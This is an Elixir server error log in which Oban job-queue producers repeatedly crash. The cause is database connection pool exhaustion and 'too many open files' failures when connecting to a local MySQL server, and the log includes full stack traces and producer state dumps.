State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:28:10.240144Z], limit: 20, uuid: "84828d27-1d74-4391-96cf-470a644d6527", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.240150Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62241>, refresh_timer: #Reference<0.2525715032.1068498948.62227>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1030ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "high"}}}}, meta: %{name: Oban, node: "demo", queue: "high", started_at: ~U[2026-09-06 00:28:10.240458Z], limit: 50, uuid: "fd93d7c4-b2f1-4900-a725-d55581fb78a1", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.240464Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "high"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62244>, refresh_timer: #Reference<0.2525715032.1121189889.191576>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1031ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:28:10.240325Z], limit: 5, uuid: "256c72c8-f6a0-4127-b9d3-398fe31fcef5", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.240331Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62242>, refresh_timer: #Reference<0.2525715032.1068498948.62236>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:22.237000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "default"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 854ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "default"}}}}, meta: %{name: Oban, node: "demo", queue: "default", started_at: ~U[2026-09-06 00:28:10.240920Z], limit: 10, uuid: "1d102eed-b551-417a-9266-1c6f2bba7edf", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.240927Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "default"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62245>, refresh_timer: #Reference<0.2525715032.1077673987.39525>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:22.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 877ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:28:10.239604Z], limit: 3, uuid: "afe27a72-e4bf-41e0-8e8b-e7a2443bb1eb", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.239610Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59270>, refresh_timer: #Reference<0.2525715032.1099431938.59262>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:22.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "low"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1050ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "low"}}}}, meta: %{name: Oban, node: "demo", queue: "low", started_at: ~U[2026-09-06 00:28:10.239306Z], limit: 5, uuid: "88811d68-3543-4214-a409-99dcd7731e55", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:10.239313Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "low"}}}}, dispatch_timer: #Reference<0.2525715032.1068498948.62243>, refresh_timer: #Reference<0.2525715032.1121189889.191541>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:23.483000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.586.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:25.043000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.589.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:25.469000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.590.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:26.006000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.587.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:28.241000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.592.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:31.172000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.591.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:32.199000 2026] [DBConnection.Connection:error] [pid 2816631] [client -] MyXQL.Connection (#PID<0.585.0>) failed to connect: ** (DBConnection.ConnectionError) (localhost:3306) too many open files - :emfile
[Sun Sep  6 00:28:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "webhooks"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 895ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "webhooks"}}}}, meta: %{name: Oban, node: "demo", queue: "webhooks", started_at: ~U[2026-09-06 00:28:22.240211Z], limit: 5, uuid: "6d29dfb5-6fed-4782-a3e3-fe5c3062519d", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.240217Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "webhooks"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59556>, refresh_timer: #Reference<0.2525715032.1099431938.59539>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:34.235000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "mailers"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 1071ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "mailers"}}}}, meta: %{name: Oban, node: "demo", queue: "mailers", started_at: ~U[2026-09-06 00:28:22.237911Z], limit: 20, uuid: "c2b2df86-a71a-4432-85c4-0cc75e85062e", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.237920Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "mailers"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59555>, refresh_timer: #Reference<0.2525715032.1099431938.59529>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:34.236000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "reports"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 827ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
    (oban 2.19.1) lib/oban/queue/producer.ex:244: anonymous fn/2 in Oban.Queue.Producer.dispatch/1
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:243: Oban.Queue.Producer.dispatch/1
    (oban 2.19.1) lib/oban/queue/producer.ex:170: Oban.Queue.Producer.handle_info/2
    (stdlib 5.2.3.2) gen_server.erl:1095: :gen_server.try_handle_info/3
    (stdlib 5.2.3.2) gen_server.erl:1183: :gen_server.handle_msg/6
    (stdlib 5.2.3.2) proc_lib.erl:241: :proc_lib.init_p_do_apply/3
Last message: :dispatch
State: %Oban.Queue.Producer{conf: %Oban.Config{dispatch_cooldown: 5, engine: Oban.Engines.Dolphin, get_dynamic_repo: nil, insert_trigger: true, log: false, name: Oban, node: "demo", notifier: {Oban.Notifiers.Isolated, []}, peer: {Oban.Peers.Database, []}, plugins: [{Oban.Plugins.Cron, [crontab: [{"*/30 * * * *", DaProductApp.Workers.ReportRetentionWorker}]]}, {Oban.Plugins.Pruner, [max_age: 86400]}], prefix: false, queues: [default: [limit: 10], mailers: [limit: 20], high: [limit: 50], low: [limit: 5], reports: [limit: 3], webhooks: [limit: 5]], repo: DaProductApp.Repo, shutdown_grace_period: 15000, stage_interval: 1000, testing: :disabled}, foreman: {:via, Registry, {Oban.Registry, {Oban, {:foreman, "reports"}}}}, meta: %{name: Oban, node: "demo", queue: "reports", started_at: ~U[2026-09-06 00:28:22.240931Z], limit: 3, uuid: "2147dbb0-6341-4b75-9ade-af6d7f7540bc", paused: false, refresh_interval: 30000, shutdown_started_at: nil, updated_at: ~U[2026-09-06 00:28:22.240937Z]}, name: {:via, Registry, {Oban.Registry, {Oban, {:producer, "reports"}}}}, dispatch_timer: #Reference<0.2525715032.1099431938.59557>, refresh_timer: #Reference<0.2525715032.1077673987.39683>, dispatch_cooldown: 5, running: %{}}
[Sun Sep  6 00:28:34.241000 2026] [gen_server:error] [pid 2816631] [client -] GenServer {Oban.Registry, {Oban, {:producer, "high"}}} terminating
** (DBConnection.ConnectionError) connection not available and request was dropped from queue after 886ms. This means requests are coming in and your connection pool cannot serve them fast enough. You can address this by:

  1. Ensuring your database is available and that you can connect to it
  2. Tracking down slow queries and making sure they are running fast enough
  3. Increasing the pool_size (although this increases resource consumption)
  4. Allowing requests to wait longer by increasing :queue_target and :queue_interval

See DBConnection.start_link/2 for more information

    (db_connection 2.7.0) lib/db_connection.ex:1088: DBConnection.transaction/3
    (oban 2.19.1) lib/oban/repo.ex:156: Oban.Repo.transaction/4
    (oban 2.19.1) lib/oban/engines/dolphin.ex:99: Oban.Engines.Dolphin.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:252: anonymous fn/4 in Oban.Engine.fetch_jobs/3
    (oban 2.19.1) lib/oban/engine.ex:387: anonymous fn/3 in Oban.Engine.with_span/4
    (telemetry 1.3.0) /var/www/internaltesting/meghana/prverification/cloud/CloudLayer/deps/telemetry/src/telemetry.erl:324: :telemetry.span/3
    (oban 2.19.1) lib/oban/queue/producer.ex:253: Oban.Queue.Producer.start_jobs/1
